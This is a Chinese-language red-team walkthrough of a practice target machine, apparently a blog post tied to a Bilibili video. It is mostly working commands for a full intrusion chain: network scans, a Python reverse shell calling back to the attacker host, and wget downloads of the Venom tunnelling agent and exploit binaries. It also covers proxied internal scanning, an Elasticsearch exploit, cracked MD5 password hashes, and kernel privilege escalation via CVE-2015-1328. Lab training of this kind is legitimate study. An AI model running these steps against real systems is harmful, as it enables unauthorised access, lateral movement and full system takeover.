[Hack实战]-1-靶机红队攻防实验
引言
中等难度,靶机红队攻防实验#第1篇
文章目录
0×1.环境介绍
攻击Kali主机IP:192.168.1.123
攻击主机与靶机在同一个网段192.168.1.0/24
0×2.实战思路
下面的所有命令都使用root用户执行,如果是普通用户,请在命令前面添加sudo,
● 局域网发现
#局域网二层扫描
#arp-scan -I 网卡名称 -l
arp-scan -I eth0 -l
● 全端口扫描
#nmap -p- ip地址
nmap -p- 192.168.1.117
#-p-参数等同于-p1-65535
nmap -p1-65535 192.168.1.117
● 服务版本扫描
#nmap -p[端口列表] -sV ip地址
#对21,22,80这三个端口做-sV服务版本扫描
nmap -p21,22,80 -sV 192.168.1.117
● Web路径枚举
#爆破路径
#dirsearch -u http://IP地址
#dirsearch默认字典文件位置
#/usr/lib/python3/dist-packages/dirsearch/db/dicc.txt
dirsearch -u http://192.168.1.117
Web返回状态码:
- **200 OK**: - 当用户访问一个正常运行的网页时,会返回这个状态码。 - 例如,访问 https://www.example.com,页面成功加载,返回 200。 - **301 Moved Permanently**: - 当一个网站的页面永久迁移到一个新地址时,服务器返回这个状态码,并提供新的URL。 - 例如,访问 http://oldsite.com 可能会被重定向到 http://newsite.com。 - **404 Not Found**: - 当用户访问一个不存在的页面时,服务器返回这个状态码。 - 例如,访问 http://www.example.com/nonexistentpage 可能会返回 404。 - **403 Forbidden**: - 当用户尝试访问一个他们没有权限访问的页面时,服务器返回这个状态码。
● RCE漏洞Python反弹Shell
#攻击主机,使用nc监听端口,等待反弹shell连接
nc -nvlp 2333
#被攻击主机漏洞页面,反弹Shell
#两种方式,根据代码调用方式使用
#192.168.1.123修改成攻击主机IP,2333修改成攻击主机监听端口
#代码不嵌入python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.123",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#代码嵌入python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.123",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
● docker容器判断方法
#判断是否为docker系统
1.根目录中包含/.dockerenv文件
Docker系统的根目录中存在.dockerenv文件,主要用于标识当前环境是否为容器内部环境,并存储Docker守护进程的配置信息。
2.查看系统 cat /proc/1/cgroup 文件,包含docker字段
Linux系统启动时第1个PID的cgroup文件中如果包含docker字段,并且包含docker的哈希值,这说明当前为docker容器环境
11:hugetlb:/docker/439d6816b5d727320b7e8e2e473cefd10591c23b0e4d2459e53f59f23cfad785
● 使用shell脚本内网发现
#内网简单的ping测试脚本,使用seq兼容性更好,部分系统不支持 {1..254}这种格式
#网段192.168.0.0/16
#方法1
for i in {0..255}; do for j in {1..254}; do ping -c 1 192.168.$i.$j; done; done
#方法2
for i in $(seq 0 255); do for j in $(seq 1 254); do ping -c 1 192.168.$i.$j; done; done
#网段192.168.1.0/24
#方法1
for i in {1..254}; do ping -c 1 192.168.1.$i; done
#方法2
for i in $(seq 1 10); do ping -c 1 192.168.1.$i; done
#筛选存活
for i in $(seq 1 10); do ping -c 1 192.168.1.$i; done | grep 64
● 内网穿透与隧道内网扫描
#内网穿透工具Venom
https://github.com/Dliv3/Venom
#主控端,venom启动监听
#如果程序没有给x权限要先添加x权限:chomd +x a
./a -lport 1234
#主控端,使用python3开启http服务
python3 -m http.server 80
#被控端,使用wget下载主控端Venom程序
wget http://192.168.1.123/s
#内网穿透
##被控端,输入控制端IP和控制端监听的端口
chmod +x s
./s -rhost 192.168.1.123 -rport 1234
##控制端
show #显示连接的节点id
goto 1 #进入第一个节点
socks 1080 #在第一个节点中,启用socks代理,代理端口1080
#这样操作之后,会在控制端本地启动1080端口,连接到被控端随机端口
#所有通过控制端1080端口的流量都会通过隧道发送给目标机器上的随机端口
#控制端,配置本地代理工具
#调用proxychains4执行命令,命令被proxychains4捕获,发往配置文件中指定的本地1080端口
#本地1080端口与远程局域网中的主机通过Venom建立了Socks隧道
#那么通过proxychains4执行的命令就会通过这个Socks隧道传输给远程局域网中的主机
#远程局域网主机起到了流量中转的作用
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
#通过proxychains4连接隧道,扫描远程局域网指定机器
#-sT TCP SYN扫描(-sT)会完成三次握手,建立完整的TCP连接
#-Pn 跳过端口扫描阶段,直接对目标主机的所有 1-65535 端口尝试连接,
#nmap 默认会先扫描开放端口(通过 ICMP、TCP SYN 等),
#再对开放端口执行后续操作(如脚本扫描),
#可降低触发警报的风险
#venom仅支持完整 TCP 连接:Venom 处理的是已建立三次握手的 TCP 流量,无法识别或处理半开连接(SYN 包)
#所以无法使用-p-这种方式扫描,因为这种方式默认使用-sS参数
proxychains4 nmap -Pn -sT 172.17.0.1
proxychains4 nmap -Pn -sT 172.17.0.2
proxychains4 nmap -Pn -sT 172.17.0.3
#对局域网主机开放的端口,进行服务版本探测
proxychains4 nmap -p22,5000 -sV -Pn -sT 172.17.0.1
proxychains4 nmap -p22,5000 -sV -Pn -sT 172.17.0.2
proxychains4 nmap -p9200 -sV -Pn -sT 172.17.0.3
● ElasticSearch版本漏洞利用
#搜索ElasticSearch版本漏洞
earchsploit Elasticsearch
#漏洞利用代码拷贝出来
#searchsploit搜索出来的漏洞代码都存放在/usr/share/exploitdb/exploits/目录中
cp /usr/share/exploitdb/exploits/multiple/webapps/33370.html ~
cp /usr/share/exploitdb/exploits/linux/remote/36337.py ~
#所有利用代码,都要先查看一下源代码
cat 36337.py
#使用漏洞利用代码进行尝试,因为36337.py源码使用的是python2环境
proxychains4 python2 36337.py 172.17.0.3
● 破解md5密码
#md5查询网站
https://www.somd5.com/
john:3f8184a7343664553fcb5337a3138814
test:861f194e9d6118f3d942a72be3e51749
admin:670c3bbc209a18dde5446e5e6c1f1d5b
root:b3d34352fc26117979deabdf1b9b6354
jane:5c158b60ed97c723b673529b8a3cf72b
#对应密码如下
1337hack
1234test
1111pass
1234pass
1234jane
#只有john可以登录
ssh john@192.168.1.117
#开始提权
Linux提权常规方法三种:
1.通过内核漏洞
2.通过suid权限,拥有suid权限的程序存在可利用的漏洞
3.通过sudo -l查看当前用户在sudoers文件中是否存在NOPASSWD执行获得ALL权限的程序
● 通过内核漏洞提权
#使用john登录系统,尝试sudo获取权限
sudo -s
#使用内核漏洞提权
#查看内核版本
uname -a
#搜索内核漏洞
searchsploit linux 3.13
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'over | linux/local/37292.c
#拷贝利用代码到家目录
cp /usr/share/exploitdb/exploits/linux/local/37292.c ~
#按照源码描述,需要传到目标主机上编译然后运行编译好后的二进制文件,进行提权
#但是目标机器没有gcc编译软件,所以需要在本地编译好后传到目标机器,
#但这个源码中有一个坑,编译好后的二进制文件会再次调用gcc编译出一个so共享库文件提供给程序调用,
#所以需要修改源代码删除下面的部分,直接跳过编译ofs-lib.so文件的部分
fprintf(stderr,"creating shared library\n");
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
write(lib,LIB,strlen(LIB));
close(lib);
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
if(lib != 0) {
fprintf(stderr,"couldn't create dynamic library\n");
exit(-1);
}
#然后在本地编译,但是kali无法编译,
#因为系统版本原因导致c语言头文件和版本不匹配
#解决方法是找一台与目标系统版本相同的主机进行编译
gcc -o 987 37292.c
#因为源码编译后的程序会调用ofs-lib.so这个库文件
#所以需要将这个库文件与编译后的调用程序一并传到目标主机
#查找kali中相同的库文件locate ofs-lib.so 拷贝到当前目录
/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
#再次在本地启用python3 http服务
python3 -m http.server 80
#目标主机下载漏洞利用文件
wget http://192.168.1.123/987
wget http://192.168.1.123/ofs-lib.so
#根据利用源码中的文件位置,将这两个文件拷贝到/tmp目录下
mv 987 ofs-lib.so /tmp
#添加x权限
chmod +x 987
#执行,获得root权限
./987
0×3.视频演示
点击下方视频标题,可以进入B站观看高清版本
【第28天】渗透测试实战#2-内网穿透-大11女新新生挑战一年精通网络安全-渗透测试-红队渗透-安全攻防-靶机攻防-渗透实战